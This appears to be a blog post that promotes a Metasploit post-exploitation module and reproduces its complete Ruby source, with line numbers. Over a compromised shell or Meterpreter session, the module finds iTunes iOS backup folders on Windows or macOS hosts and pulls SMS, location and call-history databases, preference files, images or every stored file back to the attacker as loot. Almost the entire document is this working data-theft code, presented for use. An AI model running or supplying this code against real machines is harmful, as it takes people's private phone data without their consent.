Nice Metasploit Module to Grab iOS MobileSync Backup File Collection
Here is a nice coded module to get information from the IOS backup file. We have already posted 2 articles about this affair. Now, Metasploit added a great script to enumerate information such as SMS, passwords, Call History, Tracking DB etc).
Get it from here
1 |
## |
---|---|
2 |
# $Id: apple_ios_backup.rb 12425 2011-04-24 19:28:55Z hdm $ |
3 |
## |
4 | |
5 |
## |
6 |
# This file is part of the Metasploit Framework and may be subject to |
7 |
# redistribution and commercial restrictions. Please see the Metasploit |
8 |
# Framework web site for more information on licensing and terms of use. |
9 |
# http://metasploit.com/framework/ |
10 |
## |
11 | |
12 |
require 'msf/core' |
13 |
require 'msf/core/post/file' |
14 |
require 'rex/parser/apple_backup_manifestdb' |
15 | |
16 |
class Metasploit3 < Msf::Post |
17 | |
18 |
include Msf::Post::File |
19 | |
20 |
def initialize(info={}) |
21 |
super( update_info(info, |
22 |
'Name' => 'Applie iOS MobileSync Backup File Collection', |
23 |
'Description' => %q{ This module will collect sensitive files from any on-disk iOS device backups }, |
24 |
'License' => MSF_LICENSE, |
25 |
'Author' => |
26 |
[ |
27 |
'hdm', |
28 |
'bannedit' # Based on bannedit's pidgin_cred module structure |
29 |
], |
30 |
'Version' => '$Revision: 12425 $', |
31 |
'Platform' => ['osx', 'windows'], |
32 |
'SessionTypes' => ['shell', 'meterpreter' ] |
33 |
)) |
34 |
register_options( |
35 |
[ |
36 |
OptBool.new('DATABASES', [false, 'Collect all database files? (SMS, Location, etc)', true]), |
37 |
OptBool.new('PLISTS', [false, 'Collect all preference list files?', true]), |
38 |
OptBool.new('IMAGES', [false, 'Collect all image files?', false]), |
39 |
OptBool.new('EVERYTHING', [false, 'Collect all stored files? (SLOW)', false]) |
40 |
], self.class) |
41 |
end |
42 | |
43 |
# |
44 |
# Even though iTunes is only Windows and Mac OS X, look for the MobileSync files on all platforms |
45 |
# |
46 |
# |
47 |
def run |
48 |
case session.platform |
49 |
when /osx/ |
50 |
@platform = :osx |
51 |
paths = enum_users_unix |
52 |
when /win/ |
53 |
@platform = :windows |
54 |
drive = session.fs.file.expand_path("%SystemDrive%") |
55 |
os = session.sys.config.sysinfo['OS'] |
56 | |
57 |
if os =~ /Windows 7|Vista|2008/ |
58 |
@appdata = '\\AppData\\Roaming' |
59 |
@users = drive + '\\Users' |
60 |
else |
61 |
@appdata = '\\Application Data' |
62 |
@users = drive + '\\Documents and Settings' |
63 |
end |
64 | |
65 |
if session.type != "meterpreter" |
66 |
print_error "Only meterpreter sessions are supported on windows hosts" |
67 |
return |
68 |
end |
69 |
paths = enum_users_windows |
70 |
else |
71 |
print_error "Unsupported platform #{session.platform}" |
72 |
return |
73 |
end |
74 | |
75 |
if paths.empty? |
76 |
print_status("No users found with an iTunes backup directory") |
77 |
return |
78 |
end |
79 | |
80 |
process_backups(paths) |
81 |
end |
82 | |
83 |
def enum_users_unix |
84 |
if @platform == :osx |
85 |
home = "/Users/" |
86 |
else |
87 |
home = "/home/" |
88 |
end |
89 | |
90 |
if got_root? |
91 |
userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n") |
92 |
userdirs << "/root\n" |
93 |
else |
94 |
userdirs = session.shell_command("ls #{home}#{whoami}/Library/Application\\ Support/MobileSync/Backup/") |
95 |
if userdirs =~ /No such file/i |
96 |
return |
97 |
else |
98 |
print_status("Found backup directory for: #{whoami}") |
99 |
return ["#{home}#{whoami}/Library/Application\\ Support/MobileSync/Backup/"] |
100 |
end |
101 |
end |
102 | |
103 |
paths = Array.new |
104 |
userdirs.each_line do |dir| |
105 |
dir.chomp! |
106 |
next if dir == "." || dir == ".." |
107 | |
108 |
dir = "#{home}#{dir}" if dir !~ /root/ |
109 |
print_status("Checking for backup directory in: #{dir}") |
110 | |
111 |
stat = session.shell_command("ls #{dir}/Library/Application\\ Support/MobileSync/Backup/") |
112 |
next if stat =~ /No such file/i |
113 |
paths << "#{dir}/Library/Application\\ Support/MobileSync/Backup/" |
114 |
end |
115 |
return paths |
116 |
end |
117 | |
118 |
def enum_users_windows |
119 |
paths = Array.new |
120 | |
121 |
if got_root? |
122 |
session.fs.dir.foreach(@users) do |path| |
123 |
next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/i |
124 |
bdir = "#{@users}\\#{path}#{@appdata}\\Apple Computer\\MobileSync\\Backup" |
125 |
dirs = check_for_backups_win(bdir) |
126 |
dirs.each { |dir| paths << dir } if dirs |
127 |
end |
128 |
else |
129 |
print_status "Only checking #{whoami} account since we do not have SYSTEM..." |
130 |
path = "#{@users}\\#{whoami}#{@appdata}\\Apple Computer\\MobileSync\\Backup" |
131 |
dirs = check_for_backups_win(path) |
132 |
dirs.each { |dir| paths << dir } if dirs |
133 |
end |
134 |
return paths |
135 |
end |
136 | |
137 |
def check_for_backups_win(bdir) |
138 |
dirs = [] |
139 |
print_status("Checking for backups in #{bdir}") |
140 |
session.fs.dir.foreach(bdir) do |dir| |
141 |
if dir =~ /^[0-9a-f]{16}/i |
142 |
print_status("Found #{bdir}\\#{dir}") |
143 |
dirs << "#{bdir}\\#{dir}" |
144 |
end |
145 |
end |
146 |
dirs |
147 |
end |
148 | |
149 |
def process_backups(paths) |
150 |
paths.each {|path| process_backup(path) } |
151 |
end |
152 | |
153 |
def process_backup(path) |
154 | |
155 |
print_status("Pulling data from #{path}...") |
156 | |
157 |
mbdb_data = "" |
158 |
mbdx_data = "" |
159 | |
160 |
print_status("Reading Manifest.mbdb from #{path}...") |
161 |
if session.type == "shell" |
162 |
mbdb_data = session.shell_command("cat #{path}/Manifest.mbdb") |
163 |
else |
164 |
mfd = session.fs.file.new("#{path}\\Manifest.mbdb", "rb") |
165 |
until mfd.eof? |
166 |
mbdb_data << mfd.read |
167 |
end |
168 |
mfd.close |
169 |
end |
170 | |
171 |
print_status("Reading Manifest.mbdx from #{path}...") |
172 |
if session.type == "shell" |
173 |
mbdx_data = session.shell_command("cat #{path}/Manifest.mbdx") |
174 |
else |
175 |
mfd = session.fs.file.new("#{path}\\Manifest.mbdx", "rb") |
176 |
until mfd.eof? |
177 |
mbdx_data << mfd.read |
178 |
end |
179 |
mfd.close |
180 |
end |
181 | |
182 |
manifest = Rex::Parser::AppleBackupManifestDB.new(mbdb_data, mbdx_data) |
183 | |
184 |
patterns = [] |
185 |
patterns << /\.db$/i if datastore['DATABASES'] |
186 |
patterns << /\.plist$/i if datastore['PLISTS'] |
187 |
patterns << /\.(jpeg|jpg|png|bmp|tiff|gif)$/i if datastore['IMAGES'] |
188 |
patterns << /.*/ if datastore['EVERYTHING'] |
189 | |
190 |
done = {} |
191 |
patterns.each do |pat| |
192 |
manifest.entries.each_pair do |fname, info| |
193 |
next if done[fname] |
194 |
next if not info[:filename].to_s =~ pat |
195 | |
196 |
print_status("Downloading #{info[:domain]} #{info[:filename]}...") |
197 | |
198 |
begin |
199 | |
200 |
fdata = "" |
201 |
if session.type == "shell" |
202 |
fdata = session.shell_command("cat #{path}/#{fname}") |
203 |
else |
204 |
mfd = session.fs.file.new("#{path}\\#{fname}", "rb") |
205 |
until mfd.eof? |
206 |
fdata << mfd.read |
207 |
end |
208 |
mfd.close |
209 |
end |
210 |
bname = info[:filename] || "unknown.bin" |
211 |
rname = info[:domain].to_s + "_" + bname |
212 |
rname = rname.gsub(/\/|\\/, ".").gsub(/\s+/, "_").gsub(/[^A-Za-z0-9\.\_]/, '').gsub(/_+/, "_") |
213 |
ctype = "application/octet-stream" |
214 | |
215 |
store_loot("ios.backup.data", ctype, session, fdata, rname, "iOS Backup: #{rname}") |
216 | |
217 |
rescue ::Interrupt |
218 |
raise $! |
219 |
rescue ::Exception => e |
220 |
print_error("Failed to download #{fname}: #{e.class} #{e}") |
221 |
end |
222 | |
223 |
done[fname] = true |
224 |
end |
225 |
end |
226 |
end |
227 | |
228 | |
229 |
def got_root? |
230 |
case @platform |
231 |
when :windows |
232 |
if session.sys.config.getuid =~ /SYSTEM/ |
233 |
return true |
234 |
else |
235 |
return false |
236 |
end |
237 |
else # unix, bsd, linux, osx |
238 |
ret = whoami |
239 |
if ret =~ /root/ |
240 |
return true |
241 |
else |
242 |
return false |
243 |
end |
244 |
end |
245 |
end |
246 | |
247 |
def whoami |
248 |
if @platform == :windows |
249 |
session.fs.file.expand_path("%USERNAME%") |
250 |
else |
251 |
session.shell_command("whoami").chomp |
252 |
end |
253 |
end |
254 |
end |